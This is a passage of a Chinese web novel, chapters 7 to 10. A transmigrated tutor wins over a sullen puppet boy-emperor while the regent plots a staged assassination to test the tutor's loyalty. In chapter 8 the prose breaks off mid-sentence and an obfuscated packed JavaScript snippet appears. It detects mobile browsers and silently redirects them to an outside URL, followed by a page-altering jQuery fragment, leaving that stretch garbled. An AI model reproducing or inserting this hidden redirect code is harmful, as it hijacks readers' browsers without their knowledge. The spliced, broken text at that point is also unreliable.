嗅着从温催玉身上传来的白檀香,卫樾正要开口,但话还没说出来,先被从见渊阁殿外传来的声音打断了。 外面有宫人高声通传:“庄王殿下到——” 卫樾和温催玉俱是一顿。 然后卫樾低声对温催玉说:“温太傅方才不是在对朕表忠心吗,当着庄王的面也表表看。” 温催玉:“……” 你就这么迫不及待想要你这个便宜老师去死吗? 摄政王庄王,本名赵曜,如今三十有九,不仅不老态龙钟,反之还挺春秋鼎盛。 他步履不慌不忙地走入见渊阁,看到温催玉正在用丝绢给卫樾的手包扎。 赵曜作揖行礼,表面功夫马马虎虎:“参见陛下。” 7. 第 7 章 少帝卫樾目中无人,但唯独有个优点就是,他一视同仁。 他对待周遭的宫人、不敢惹他的寻常文臣武将,是盛气凌人。 对待庄王这样权倾朝野、实质上拿捏着他这个傀儡皇帝性命的摄政王,仍然倨傲跋扈。 庄王装装样子行了礼,知道卫樾不会配合装模作样,他也不想还当着其他朝臣的面维持行礼的姿势,所以没等卫樾说免礼,就自行站直了身体。 卫樾冷笑了声,嘲讽道:“庄王现如今是装都不愿意好好装了,怎么,决定好什么时候杀了朕,你亲自登基当个真皇帝了?” 庄王单手背在身后,一脸和蔼地回答:“陛下何出此言?臣绝无二心。臣听闻陛下受伤,特意前来探望,能看到陛下与温太傅相处和睦,臣也放心不少,不枉臣此前特意为陛下择了温太傅这位年轻帝师,果然年轻人之间好相处些。” 卫樾面色不愉,正好温催玉把丝绢系上、给他包扎好了,于是卫樾抽回了手,不屑地嗤笑了声。 温催玉反应平和,他站起身,对庄王作了一揖:“参见庄王殿下。” 庄王儒雅地颔首:“免礼。温太傅身体可还好?你前段日子伤了头,昨日将将回宫给陛下讲学,竟又犯了晕厥之症,着实叫人担忧啊。” 温催玉回道:“有劳庄王殿下挂念。昨日臣醒了之后,听宫人说庄王殿下还特意派人看望过臣,实在不敢当。臣这体弱是生来如此,耽误了陛下课业、给宫里添麻烦了,臣惭愧。” 庄王笑道:“温太傅乃国之栋梁,本王代陛下暂管朝政,理应礼士亲贤,温太傅说这些可就生分了。” 卫樾看着温催玉斯斯文文跟庄王交谈,本就不爽的心情更加不舒坦了。 于是他从心所欲地插了话,仿佛十分不长脑子,不知深浅地直接问道:“既然是代朕暂管,那庄王打算什么时候还政于朕?” 虽然知道卫樾是故意的,但温催玉闻言还是不禁心下一紧。 ——原书剧情里提过,少帝卫樾自登基起,就表现得十分没有自知之明,好像不知道什么叫傀儡皇帝,真把大权在握的摄政王当成代管的臣子似的,从来不给好脸色。 但偏偏就是这乞儿乍富后狂妄自大的表现,反让庄王很放心卫樾坐在皇位上。 温催玉知晓原书剧情,所以能确定这是卫樾故意的,他表现得足够愚蠢、眼皮子浅,才更利于让庄王放松警惕,这是年幼时的卫樾自己琢磨出来的自保法子。 就算庄王怀疑他是装的,那也总比直接认定他颇具威胁要好。 而且装一日会被怀疑作伪,那装十年呢? 反正朝中风向,已经认定少帝卫樾并无明君之相,这也在无形之中减轻了庄王持续把持朝政的阻力,庄王乐在其中。 当下面对卫樾不知死活的质问,庄王十分耐心地回答:“待陛下学有所成,臣自当恪守本分、还政于陛下。对了,温太傅,陛下的课业如何了?话说陛下这手上的烧伤,可是生了什么意外?” 温催玉又看了眼卫樾已经被包扎起来的右手,心下想叹气。 虽然卫樾的无知愚昧是装的,但他疯疯癫癫、并不温良的言行可就本性居多了,甚至借着“这样能让摄政王更不忌惮”的由头,有更加肆无忌惮、释放本性的意思。 着实让人头疼。 “陛下方才不慎被火盆灼伤了手,太医前来看过了。也是臣的疏忽之罪,太过专注于书简,没能及时察觉陛下伤情。”温催玉回道。 庄王听了,打量了下温催玉的神情,然后笑道:“温太傅用心授课,何罪之有。陛下这伤,既然已经包扎好了,那臣就放心了。陛下,臣不耽误您听温太傅讲学,这便告退了。” 行了一礼,庄王转身离去。 温催玉看着庄王走出见渊阁,守在门口的庄王侍从跟着一起走远了,才重新在卫樾的书案前坐下来。 卫樾却是挂着一脸不悦,在温催玉终于看向他时,重重冷哼了声:“温太傅,这就是你说的对朕抱有期望、要效忠朕?” 温催玉微微一顿,在困惑中解读了下卫樾阴阳怪气的原因,然后揣测着问:“陛下是觉得,臣方才对庄王的态度太谦和,没有与您调性一致,故而不满?” “呵,你那叫谦和?分明是恭敬!”卫樾挑刺道,“还一口一个‘臣’,你是谁的臣子?他赵曜在你心里已经登基了吗!” “……”温催玉无可奈何地看着这无理取闹的少帝,“陛下,您好歹也对臣体贴一点,考虑考虑臣的处境吧?” 卫樾扭头,别过眼不看温催玉,只是又冷哼了声。 温催玉轻叹了声:“您自己也明白的,庄王确实权势滔天,不是臣与您在这儿相对而坐,一起骂他几句,便能罔顾不提的。这话逆耳,但以陛下如今的处境,真话总是难免不好听。” “您坐在皇位上,只要不触及庄王利益,再怎么贬损他,他也不至于要了您的命。” “可臣不一样,臣无亲无故、朝中无资历,若是也张扬随性,明摆着与庄王作对,那即便是为了杀鸡儆猴,庄王也不会放过有胆子不敬他的臣子……臣还不想死,适当的作戏也是韬光养晦。” 他看着卫樾倔强的侧脸,轻声说:“陛下不是不懂,又何必因此借题发挥刁难臣?还是,陛下就是故意一而再挖苦,想看看臣到底有多大的决心辅佐您?” 卫樾转回脑袋,直勾勾盯着温催玉明珠般的眼睛,问他:“你既然知道跟庄王作对没好果子吃,又哪来的熊心豹子胆,敢背着庄王说要辅佐朕?你既无权无势,这般没用,朕又为何要信你、用你?” 温催玉轻笑,眉目间仿佛春水微漾、融了冬雪。 卫樾五分本性五分故意摆出的一脸凶狠,此时不禁一滞。 温催玉煞有介事地从容回答:“正是因为臣没有家底,所以想要往上爬,自然得剑走偏锋,又没有亲眷牵挂,纵然赌输了,也不过是臣一条性命。” “陛下再是没有实权,也是名正言顺的大燕皇帝。臣这太傅之职,虽然出自机缘巧合,最初臣也为此愁闷过,但转念一想,何尝不是好机遇?” “讨好庄王的人太多了,庄王也不缺马前卒,臣若是向庄王表忠心,毫无用处。但陛下您已年满十六,岁数上已到了能亲政的时候,若是臣能辅佐您,运气好帮您争权赢了,臣自是前程无量。” “便是您无争权之心,只想等庄王自然老去,届时权柄自然而然还归您手,那臣如今表忠心、好生陪同,将来总能在陛下面前有两分患难相伴的情分,总也是好的。” “朝中未必没有和臣想法相似的官员,但他们都没有臣这近水楼台的便利,臣当然得抓住了。” 卫樾听着温催玉直言不讳、充满钻营的话,不禁攥了攥右手。 温催玉看见了,连忙缓和语气:“陛下,莫要攥手,才包扎上,可别伤上加伤。” 卫樾松了手,意味不明地看着温催玉:“温太傅……倒是对朕十分坦诚,什么算计都敢说。” 温催玉敏锐察觉到了卫樾的不满,有些无奈:“陛下,臣若是同您讲情义,说臣就是路见不平,怜惜您六岁登基、十年来无人相伴,所以想要拿命陪您一程,您可愿意信?” 卫樾想也不想地嗤笑了声。 “您看,这样说您不肯信。故而臣不提私心,只说利益,可您听了又觉得不快,真是让臣拿捏不好分寸。”温催玉轻言慢语,但眼里含着笑意。 仿佛在很耐心地哄一个很看好的孩子,为此不惜把干硬的炊饼撕下来,一点一点分碎了喂给他——解释给他听。 卫樾还是不语,但面色不自觉平和了许多。 温催玉又接着说:“陛下说臣无用……臣倒也辩驳不出所以然来,但臣总不至于拖累您,且在前朝走动的话,总比陛下方便。陛下何不权当也赌一把,信臣能帮上您呢?” 闻言,卫樾打量着温催玉苍白如雪的面庞,还有他周身似有若无的白檀药香。 沉默几息后,卫樾轻哼了声,倒是听不出什么戾气了:“就你这病秧子,难说会不会拖累朕。不过……罢了,你都这般煞费苦心了,朕就成全你,允了你的投靠罢。” “……”温催玉好脾气地抬手作揖,“是,谢陛下恩典。陛下,那接下来,您得好好配合臣上课。” 卫樾蹙起眉头:“什么意思?” “您在朝中名声不好,都说您不学无术。纵然如今庄王一手遮天,文武百官喜或不喜似乎左右不了局面,但您若是想与庄王相争,百官的看法还是需要争取的。”温催玉说,“便是不争,长些学识也是应当的。” 卫樾挑眉:“可朕瞧着,温太傅似乎只会照本宣科。怎么教朕?” 温催玉微微一顿。 他确实不通四书五经,唯一能仰仗的,也就是穿书过来也没有消失的过目不忘之能,硬是在复课前一夜,匆匆把这些给记在了脑子里。 但记住了,不等于能笃定地融会贯通。 不过,温催玉倒不担心学识不够,暴露后引人猜忌怀疑。 因为……原主本身其实也并不是才高八斗的设定,而且不知缘由的巧在,原主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358762|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长处也是作画,温催玉正是从小学画的。 “陛下,臣能被庄王选中,派来给您做太傅,自然不会是什么学识渊博之人。”温催玉理所当然地回答,“不过,也未必不够格教导您。即便不够,那与您一同钻研,总是可以的。” “总之,接下来臣会悉心教导您,也望您能配合臣,不再心不在焉。” 卫樾可有可无地歪了下头。 …… 庄王赵曜单手背在身后,腰背挺直地走在宫道上,神情若有所思。 他的侍从察言观色地开口:“殿下可是在怀疑那温太傅有异心?” 方才在见渊阁,侍从虽然没有跟进殿内,但就站在殿门口,里面的情形和对话都没错过。 庄王看向侍从:“你有何看法?” 侍从谨慎回道:“属下不确定,但只觉得听方才温太傅言语间,似乎有维护陛下之意。” 庄王意味不明地笑了笑:“当着陛下的面,总不能还说陛下不好,温太傅一介文弱书生,自是不敢招惹陛下,但他对本王也是十分恭敬的。” 侍从跟随庄王许久,听得出来自家主子话里有话,便接着揣测:“可……听宫中侍卫说,昨夜温太傅误以为陛下有危险,竟是不惜劳身匆匆而至。还有方才,殿下刚到见渊阁时,也瞧见了,那温太傅在为陛下包扎伤口,这并非先前所闻的‘明哲保身’之举分内的。” “再者,陛下性情乖戾,不喜人近身,但方才居然接纳了温太傅为他上药包扎,可见温太傅这人,志向与能耐,都不同一般。” 庄王玩味道:“所以,你觉得本王应当提防这温太傅?” 侍从毫不犹豫地接下这名头:“是,属下以为,当谨慎为上。” 庄王面露苦恼:“可这温太傅,还是本王悉心为陛下择的老师呢。且他没根没底,本王便听信你的捕风捉影,忌惮于他,是否太无容人之量了?” “属下斗胆,还是以为当提防温太傅。正是因为他无根底,如今又轻易便能与陛下接触,才更容易铤而走险,自作聪明地生出异心。”侍从面不改色道。 “殿下爱护陛下之心,人人皆知,只是陛下年幼,难免识人不清,若是被有心人撺掇做了错事,也是让殿下徒添伤怀。故而,属下僭越,向殿下提议,不论温太傅是否真有异心,都当尽早斩草除根。” “不然,若是让其野心壮大,朝中其他大人也心浮气躁、想要效仿,岂非更加离间殿下您与陛下的情分?便是为了陛下,殿下也不该心慈手软啊。” 一个没根没底还是被庄王随口任命过去的年轻帝师,他投效了同样无能的少帝,这有什么可忌惮的? 但,若是他真投效了少帝、为少帝争权走动起来,而庄王还置之不理,这态度若是让朝中其他官员知道了,难免引人浮想联翩。 要灭的不是温催玉,甚至不是温催玉疑生的异心,而是要杀鸡儆猴,让朝中人知道,庄王还是很不喜有人妄图辅佐少帝。 这才是关键所在。 听侍从说完,庄王好似被说服了一般。 他一脸怅然地点了下头:“罢了,你虽妄言,但也是为本王和陛下着想,言之有理,本王确实不当心慈手软。” “不过……”庄王停下脚步,回首看向见渊阁方位,耐人寻味地接着说,“本王并无草菅人命的喜好,这温太傅毕竟还没犯什么错,就这么斩草除根了他的性命,反倒显得本王心狠手辣,传出去不好听啊。且人若是死了,岂不是反让陛下更是惦记?” “要本王说,根节还在陛下身上,陛下若是能识清人心,本王何苦再忧心?不若就借此契机,叫陛下看看温太傅的忠心吧。” 侍从了然:“是,属下即刻便去安排。” ——安排一场少帝和温太傅都在场的刺杀。 生死危难当前,就不信这温太傅有以命护驾的决心。 届时,不论温催玉有没有特意对少帝表过忠心,少帝都会对温催玉心生隔阂。 今日见渊阁里,那般师生和睦、相对而坐的情景,该是不会再出现了。 事实上,庄王挺希望这温太傅有对少帝表过决心。 少帝都让温太傅近身了,想来是已经有些亲近之意,这可难得一见。此时若发生大难临头各自飞的刺杀,少帝得多失望啊,那刚对人生出的信任,岂不是要全然瓦解? 而且,往后温催玉每活生生出现在他面前一次,都是在提醒他曾有过的可笑信任…… 庄王寻思着,这般算来,活着的温催玉,可比死了的温催玉有价值。 8. 第 8 章 温催玉懒得走动,索性直接摊开了卫樾书案上的竹简,说:“陛下,来诵读吧。” 卫樾一点也不尊师重道地嗤笑了声:“看来温太傅确实不会讲学,你自己读还不够,还要叫朕一起读?” 对此,温催玉有理有据:“古籍有云,‘读书百遍,其义自见’。陛下,虽然臣目前确实只想到些笨方法,但您也莫要小瞧了这诵读。” 卫樾兴致缺缺:“那温太傅这么多年,肯定读了有上百遍了吧,领悟到什么了?” 温催玉回想了想,然后煞有介事地引经据典道:“读到了《礼记》说‘师严然后道尊,道尊然后民知敬学’,意在要敬重老师。又说有两种人,君王可以不视其为臣子,其中一种便是‘当其为师,则弗臣也’,这句不用臣为您解释吧,陛下?” 温催玉语速不快,嗓音如清泉漱石,说的内容更是让的确没怎么看过四书五经的卫樾一怔。 卫樾看着面前的温催玉,突然意识到,他这位太傅,或许并非真的只会诵读,只是此前心有踌躇,反正他这个皇帝也没专心听讲,温催玉才索性敷衍了事…… 而且,温催玉他似乎是真打算教给他一些学识,乃至为君之道。 “继续说,你若能再说出三条,朕也可勉为其难认可你的讲学方式。”卫樾端出好整以暇的表情,仿佛并没有在心里百转千回地琢磨。 温催玉有点无奈:“陛下倒是反过来给臣这个太傅先出上了题……” 不过,卫樾能松口说要专心上课,温催玉也不介意先“做题”。 “陛下可要说话算话。”温催玉说着继续在脑子里翻找,“书上还说……‘己所不欲,勿施于人’,此话出自《论语》。” 看了眼卫樾的右手,温催玉接着道:“不过,以陛下这对人对己一视同仁的不珍惜,这句话想来对陛下没什么意义。” 卫樾蹙眉:“你指桑骂槐呢!” 温催玉好脾气地回答:“陛下的成语用得不错,看来从前也并非全然不对学问上心。陛下,《中庸》说,‘喜怒哀乐之未发,谓之中。发而皆中节,谓之和’,喜怒不形于色、即便表达也中和有度,您是君,当要学会控制情绪。” 卫樾抿了下唇。 “《礼记》又说,‘自天子以至于庶人,壹是皆以修身为本’,意在强调修身之重。” 三条齐了,温催玉说:“好了,陛下,接下来请您从诵读经典开始修身吧。有不认识的字,无法理解的语句,可以问臣。” 他前天连翻了几个时辰的竹简,因此累得手腕都泛疼,可不是白疼的,应付如今的少帝应当足够了。 瞧着一本正经的温催玉,卫樾倒没再耍赖,只是看着竹简上的字,开口诵读时有些不自在:“……天命之谓性;率性之谓道;修道之谓教……你干什么去?” 卫樾看到温催玉站起了身。 温催玉指了指前方自己的书案:“臣方才说得太多,口渴,喝水去。陛下别分心,继续念书吧。” 卫樾这才回过味来,觉得自己方才的反应有些小题大做,好似多关注温催玉的举止一般,着实跌份。 于是他继续诵读,不看温催玉了。 温催玉喝了水,又慢腾腾回到卫樾附近。 只是卫樾在念书,温催玉干坐在他对面也无聊,而且怕盯着卫樾看久了,这少帝会不自在,继而又恼羞成怒。 所以温催玉没有坐下,而是拿起被卫樾撕得破破烂烂还沾了血迹的书本,在旁边动静不响地慢慢踱步。 好好一本书弄成这幅狼藉样,温催玉看着有点心疼,毕竟这时代,这么一本纸质的书实在难得。 他翻了翻,又一心二用地考虑着,到底该怎么给卫樾讲学——今日是没有准备,所以才让卫樾诵读,但总不能真让卫樾自己读书百遍等着其义自见,那还要他这个太傅做什么? 卫樾翻动竹简的时候,快速打量了温催玉一眼。 见他素白纤细的手指拿着书,和书页上的血迹相邻,卫樾抿了下唇,觉得眼睛有点不舒服。 “你总看那本书做什么?叫朕专心诵读,你却心不在焉听都不听,算什么太傅?”卫樾语气不快。 温催玉失笑,走近了,把书放回卫樾面前的书案上。 “看这书被毁,可惜了。陛下,书页难得,您往后纵然贪玩,也换点别的?”温催玉轻笑着说。 他俯身时,卫樾又闻到了他身上经久熏染出的淡淡白檀药香。 于是,不知是这白檀香的缘故,而是温催玉轻言细语的缘故,总之卫樾无端就觉得心绪平和了许多,语气也不那么咄咄逼人了,反倒真有点天真贪玩的意思。 “温太傅是说,朕往后别烧书,但可以烧不怎么难得的竹简?”卫樾说。 ——就是天真贪玩得还是很气人。 温催玉没好气地回答:“陛下有玩火的功夫,倒不如多读两遍书。” 卫樾便又说了一次:“你又没听,管朕读不读。” “何以见得臣没有专心听?”温催玉理直气壮地反驳,“臣对竹简上的内容早已熟读在心,故而才没有端坐着听陛下诵读罢了。” 温催玉说着想了想,觉得卫樾总分心、诵读不下去,大概是因为没有一个目标。 毕竟就这么干读,要读到什么时候去?卫樾又差不多是头回这么正儿八经读书,难免一时端正不起来。 于是,出乎卫樾意料的,温催玉在他身侧坐了下来,语气温和:“不过,陛下说得也对,您独自诵读,显得臣这太傅不够尽心尽责。还是这样吧,臣领读,陛下跟读,每读过一句,臣便与陛下讲解一句,如此整篇讲完,再通读复习,直至能够背诵下来,咱们就接着讲下一篇。” “如此循序渐进,陛下觉得可好?” 温催玉说到最后,偏过头看着卫樾。 卫樾觉得温催玉离得太近了,让他有些说不清的不自在,但又并不觉得排斥、想让温催玉离远点,于是只沉默以对。 卫樾想,温催玉一脸耐心,好像不管怎么样都能包容他、不会放弃教导他似的…… “好。”卫樾下意识点了下头,又马上倨傲地补道,“朕说了会专心听你讲学,便会说到做到,你不必总拿哄弄的语气消遣朕。你若是再敢把朕当孩童对待,朕便把你的头发也给剃了!” 温催玉这会儿已经不把卫樾的口头威胁放在心上了,反倒敏锐地察觉到了卫樾有松口风的迹象。 于是温催玉顺势,再次问起和上一位太傅有关的事:“所以,之前那位老太傅,就是太把陛下当孩童对待,才惹了陛下不喜的?” 卫樾抿住唇,还带着少年气的脸上眉头紧蹙起来,好一会儿都没有开口。 就在温催玉以为他不会回答的时 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“定风殿里留存的竹简也不多,母妃便一遍遍地重复教朕,朕便重复着学。虽也没学出个名堂来,但认字是不成问题的。” 关于卫樾的出身,温催玉从原书剧情中能窥到部分,但总不如卫樾本人亲口所述得详细,又让人心惊。 温催玉看着卫樾,眉目间露出更加心软的神情。 卫樾侧过头,看见温催玉的神情,也不由得一怔,然后不自在地回过头。 他接着嗤了一声,语气张扬起来:“是以,庄王指派那位老太傅来给朕讲学时,朕是认得字的,《三字经》《千字文》更是滚瓜烂熟。” “可那老东西硬说朕从前学的都是歪瓜裂枣,有幸听他从头指教一遍,是朕鸿运当头,连给朕讲了一个月的‘人之初,性本善’。又说若非先帝固执、早年不肯杀朕与母妃,后又有庄王仁慈、把朕送上皇位,朕这个生来就克大燕国运、有灾星之名的人,哪里配让他来教导。” 温催玉蹙起眉。 “朕本以为他只是瞧不上朕,不怕朕对他如何,便借着贬损朕从而向庄王表忠心。可后来听老宫人说,朕出生那时,就是这位老太傅,当时他还是负责卜卦之术的太卜令,在朝堂上坚持要杀了朕和母妃。” 卫樾说着,方才故作的张扬渐渐变得阴鸷起来。 他偏头再度看向温催玉,冷声问:“所以,朕找了一风和日丽的天气,别的宫人不敢上手,朕就亲自帮那老东西剃了发须。只是如此而已,他羞愤而死是他自己想不开,朕已经很心慈手软了,不是吗?温太傅,你觉着呢?” 卫樾死死盯着温催玉的反应。 他恹恹地想,温催玉这样能随意引经据典、给他讲道理的文弱书生,脾气也总是平和,骨子里应当都是斯文的,大概只会劝他“为君者要宽容大度”,诸如此类的吧。 但,温催玉想了想,说的却是:“若是如此,事出有因,那陛下当初的确并不过分。” 卫樾定定的眸光倏然颤动。 “不过……”温催玉又道。 卫樾不知为何,竟被这简单二字弄得提起心来。 温催玉指了指自己的脖颈:“像昨夜那样突然掐臣的脖颈,就过分了,陛下。” 卫樾闻言看向温催玉白皙纤弱的脖子,目光不由得飘忽起来。 无法无天的少帝总算尝到了一点“心虚”的味道。 9. 第 9 章 “朕……”卫樾辩称道,“你此前明哲保身地授课了一个月,又接着借养伤告了一个月假,朕本以为你是盘算要顺势辞官,没成想你居然又回来了,且昨日突然一反常态,那般关心朕,朕当然要疑心……” 温催玉颔首:“听起来,臣的确值得被疑。可如今陛下知道自己疑错了,那是否该对臣说声抱歉?” 卫樾错愕地看着温催玉:“你要朕对你道歉?” 温催玉眉眼如皎月,轻笑道:“陛下觉得不应该吗?” “您又是口头恫吓要砍臣的手、拔臣的舌头,又是亲手掐臣的脖子,诸多言语上的挤兑更是不必举例。” “既然如今知道臣并无图谋不轨之意,只有满腔真心,那即便不考虑臣是您的太傅,只是出于笼络安抚,说两句表达歉意的话,也不吃亏吧?” “陛下,为君者当有威严,但也当软硬兼施,该说软话的时候,不要吝啬啊。” 卫樾不自在道:“你倒是很会说漂亮话……你昨日在这见渊阁晕厥,朕还让人给你请太医,对你好的事你怎么不说?” 温催玉莞尔:“陛下,若是臣没记着您嘴硬之外的‘好’,今日也不会这么大胆,同您直言臣的真心了。” 动辄提及“真心”,又笑得似春雪消融……卫樾觉得温催玉真是书读多了,尽学些腻歪话。 “既然对你好过,那便算抵消,朕都没要你谢恩,你居然敢要朕对你致歉?”卫樾较劲着不肯松口。 温催玉觉得这小兔崽子还挺不好扭矫。 不过,卫樾这会儿瞧着并没有不顾理智的倾向,温催玉便没放弃,继续道:“可臣也对陛下好过,比方您这手,就是臣帮忙上药包扎的,臣也没要陛下道谢。” 卫樾错愕地瞪他:“朕是皇帝,你是臣子,你要朕对你致歉就已经十分狂妄,居然还敢要朕因为你帮忙上药就道谢?温太傅,你是觉得朕左右没在朝堂当过真皇帝,所以好糊弄吗!” “陛下,《论语》有言,‘君使臣以礼,臣事君以忠’。《孟子》亦言,‘乐民之乐者,民亦乐其乐。忧民之忧者,民亦忧其忧’。”温催玉不急不忙道。 “您若是想当一个臣民都信服的君主,便不能把‘臣民为皇帝做什么都理所应当’挂在嘴边,即便您当真这样想,也至少把表面装起来,尤其是您如今尚未掌权。” 卫樾怔住。 温催玉又说起摄政王:“您看庄王,即便他大权在握,朝中无人不知他十年前起兵谋反,杀了先帝还不够,更是连先帝的皇子都诛杀殆尽、只留了您这一个好操控的傀儡,这些年庄王更是党同伐异,独揽大权生杀予夺。” “庄王并非仁义君子,人人皆知,他不装也行,可他还是在人前作出一派和气,您难道以为,是庄王本□□作戏吗?纵然都知道他是在作戏,可这也是有用的。” 卫樾被温催玉说得心绪复杂,他问:“你说,即便朕心口不一也要佯装……那你就不怕,朕当真并非明君,将来得了势,便对你兔死狗烹?” 温催玉轻笑:“陛下,臣方才同您说过,打算循序渐进地教导您。而以您如今的脾性,臣直言要您真心做一个明君,您只怕是听不进去,还觉得臣异想天开。” “所以臣只能先让您知道,您要夺权,就至少要装成一个明君。但臣有信心,终有一日能把您劝导成真正的明君。” 卫樾咄咄逼人地追问:“若是不能呢?你不怕煞费苦心后寒心?” “那便是臣赌输了,有什么下场,臣自己受着。”温催玉定定地看着卫樾。 卫樾的气焰一下子消散许多。 他沉默片刻,又问:“可朕若是开始装明君了,庄王也就该忌惮了,他如日中天,朕实话实说,并没有与他相斗的底气。届时兴许他还愿意留下朕这个傀儡的性命,可你怕是必死无疑。” 说着生死大事,卫樾没想到温催玉此时居然注意到的是:“陛下这话便说得很熨帖,会让人觉得没白白有效忠之意。” 温催玉语气欣慰,卫樾蹙眉:“你当真不怕死?” “臣怕。”温催玉回答。 不然最开始,温催玉也不会想的是延续原主明哲保身的做法,直到被系统的“电疗”折腾得没办法了,才被迫靠近卫樾。 “但害怕没有用,还是要面对,所以臣觉得,可以因此更加谨慎小心,但不必因此步步自困。”温催玉又道,“不过,陛下所言甚是,眼下还没到能直接引起庄王忌惮的时候,所以还需韬光养晦。” “但在不被庄王发现的地方,臣与陛下说的那些利于笼络人心的做法,便是能开始实施的。陛下若是觉得还不到时机,想要再蛰伏,那臣所说的这些,纵然不实施,记住也是好的,终有一日能用上。” 卫樾咬了咬牙,又问:“你好似一点都不担心,朕其实没那么远大的志向,朕心甘情愿在这皇位上当个作威作福的傀儡皇帝,直到摄政王比朕先老死。那你的这些教导,还有何用?” 温催玉静静地看着卫樾那心绪万千的眼睛,说:“陛下忘了,臣说过,若您不想争,臣就陪着您,功绩和风险都少点,将来即使只在您面前凑个共苦的情分,总比没有好。” “若您不争,那臣教导的这些,您当是修身养性便好。心性也是影响寿数的,您每日有闲,再心情好些,总能活得比庄王长久。” 卫樾死死地睁大眼睛,和温催玉柔和的眉眼对视,语气充满叛逆:“那若是朕死在了庄王前面呢?那你不是彻底一场空?连所谓的患难情分也用不上,朕给不了你好处,你说不定还会因为被发 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他回想起温催玉此前说的—— “陛下,臣若是同您讲情义,说臣就是路见不平,怜惜您六岁登基、十年来无人相伴,所以想要拿命陪您一程,您可愿意信?” 他可愿意信? …… 稍等片刻,觉得这小孩应该已经收拾好情绪后,温催玉开口道:“陛下,那臣继续给您讲学吧?” 温催玉没打算再揪着致歉或道谢不放。 但卫樾却在下一刻开了口:“掐你脖子,是朕不对。你对朕的好意,朕领了,之后不会再故意与你为难。朕虽然跋扈,但并非不知好歹。” 温催玉怔了怔,旋即莞尔,对卫樾一拱手:“是,臣听见了。那臣也在此谢过陛下昨日为臣请太医的事。” 这么和气得有些温情脉脉的场面,让卫樾觉得有些不自在,所以扭过脸说:“你用心讲学便是了。” 虽然还是知道原书剧情,也知道卫樾本性并非温良,眼下这模样是难得被他不厌其烦的剖白给触动了。 但卫樾当前的反应,还是足以让温催玉觉得很欣慰,也觉得很有希望——这小皇帝并非没有感情,不是吗? 温催玉一时感慨,便又抬手摸了摸卫樾的头:“是,陛下。” 卫樾感觉着脑袋上的轻柔重量,抿了抿唇,虽然不习惯,但没吭声。 见卫樾这么乖巧,温催玉愉快地放下了手,看向竹简上的字。 他没注意到,卫樾在他放下手之后,露出了一点失落的表情。 卫樾的目光在温催玉放下的手上停留了几息,才匆忙移开视线。 10. 第 10 章 卫樾配合,温催玉的讲学就顺利了许多。 转眼到了午时用膳的时辰。 往日,因为这课上得敷衍,所以借着午膳也就顺势下课,少帝回他的定风殿,太傅出宫回府,师生和睦。 今天,定风殿值守的宫人蔡庆一如往常过来,走到门外,正准备朝里通禀,就被里面的情景惊得一愣——温太傅和陛下居然相邻而坐,瞧着很是上和下睦。 陛下居然在认真听温太傅讲学! 蔡庆吓了一跳,一时都不敢出声惊扰,生怕打搅了这画面,让少帝卫樾心气不顺、找他撒火。 不过,方向缘故,温催玉余光里已经瞥到了门口来了人。 他讲完当前这句后,停下来,看了过去。 卫樾听他停了,有点意犹未尽,所以看向门外蔡庆的目光也就不太舒坦。 “你来干什么?”卫樾冷声问。 他这对旁人没有变化的语气,让温催玉有点无奈。 但转念一想,反正目前还得韬光养晦着,卫樾这脾气慢慢改,来得及。改快了还怕他之后装不像,招来庄王忌惮呢。 蔡庆被卫樾的语气吓得一抖,连忙在门外跪下:“陛下,到午膳时辰了。您今日还是回定风殿用膳吗?” 好好的按往日规矩前来通禀午膳,结果被忘了时辰的少帝吓唬了一顿,蔡庆也是无妄之灾。 奈何卫樾不是乐于反思的性子,还是理直气壮觉得是蔡庆没眼色、打扰了他听课。 “不吃,滚。”卫樾不满地回答,然后看向温催玉,语气不自觉乖顺许多,“继续授课吧,朕听着呢。” 温催玉:“……陛下,您不吃,臣得吃。” 卫樾蹙起眉,那眼神好像在说“吃饭重要还是给朕讲学重要?你居然要吃饭、居然吃得下饭!”。 温催玉好脾气地看着他。 卫樾抿了下唇:“好吧,身体弱就是麻烦,一顿不吃都不行,难养得很……蔡庆,把午膳送到这里来,朕和温太傅一起用。” 温催玉还没来得及开口,殿门口的蔡庆就如逢大赦一般连忙道:“是,奴才这便去办。” 然后匆匆爬起身,跑走了。 温催玉无奈,对卫樾道:“陛下,臣本是想说,不如今日的课就到这里,陛下回定风殿用膳,臣也出宫回府去。” 闻言,卫樾的脸色明显不高兴起来,他盯着温催玉,用平铺直叙的语气说道:“你就这么急着走。” “陛下这脾气可真是说来就来。”温催玉轻笑,然后指了指自己的喉咙,“陛下,臣已连续说了近一个时辰的话,嗓子实在是受不了了。” 卫樾愣了下,然后语气服软下来:“那……待会儿用膳的时候,你不是就能休息了吗,午后再继续授课也不行吗?” 温催玉见他又乖了,言语间也很是好学,不由得欣慰地抬起手,摸了摸卫樾的头。 卫樾抿住唇。 “陛下,臣今日准备不足,实则还没想好要怎么给陛下安排每日的课程、每段时日的授课目标,又要如何协调讲学时的步骤,让陛下有听课的时间、也有吸纳和融会贯通的时间,还要臣的身体能承受得住,不至于因为臣而耽误陛下课业。” 温催玉慢条斯理地解释:“这些都是需要臣好生思索、规划筹谋的。所以臣才想,今日授课就到这里,臣用下午的时间把方才说的这些都盘算好,明日起便是陛下不乐意,臣也不会放陛下午间便下课了。” 卫樾本以为,温催玉说要走,是因为不想给他上太久的课、整日都面对他。 毕竟他确实不好相处,温催玉就算再诚心投效他、面对他时乐意好脾气地哄着,但肯定也是不想整日都耗神在他身上的。 但没想到,温催玉只是为了从明日起,可以更好的给他授课讲学…… 卫樾看着温催玉刚放下的手,回想着方才这手放在他头顶轻柔抚摸的感觉,无端端有些不知所措起来。 “哦……那行吧。”卫樾轻咳了声,“那你走吧,明日再来。” 温催玉看着这别扭小孩,笑道:“可陛下方才不是已经说了,要人把午膳送到这里来,和臣一起用膳吗?臣若是现在走了,让陛下的金口玉言往哪儿搁。所以,臣留下,陪陛下一同用了午膳再走,可好?” 卫樾唇角上扬了下,又马上若无其事地压下来,端着面无表情说:“随你。” 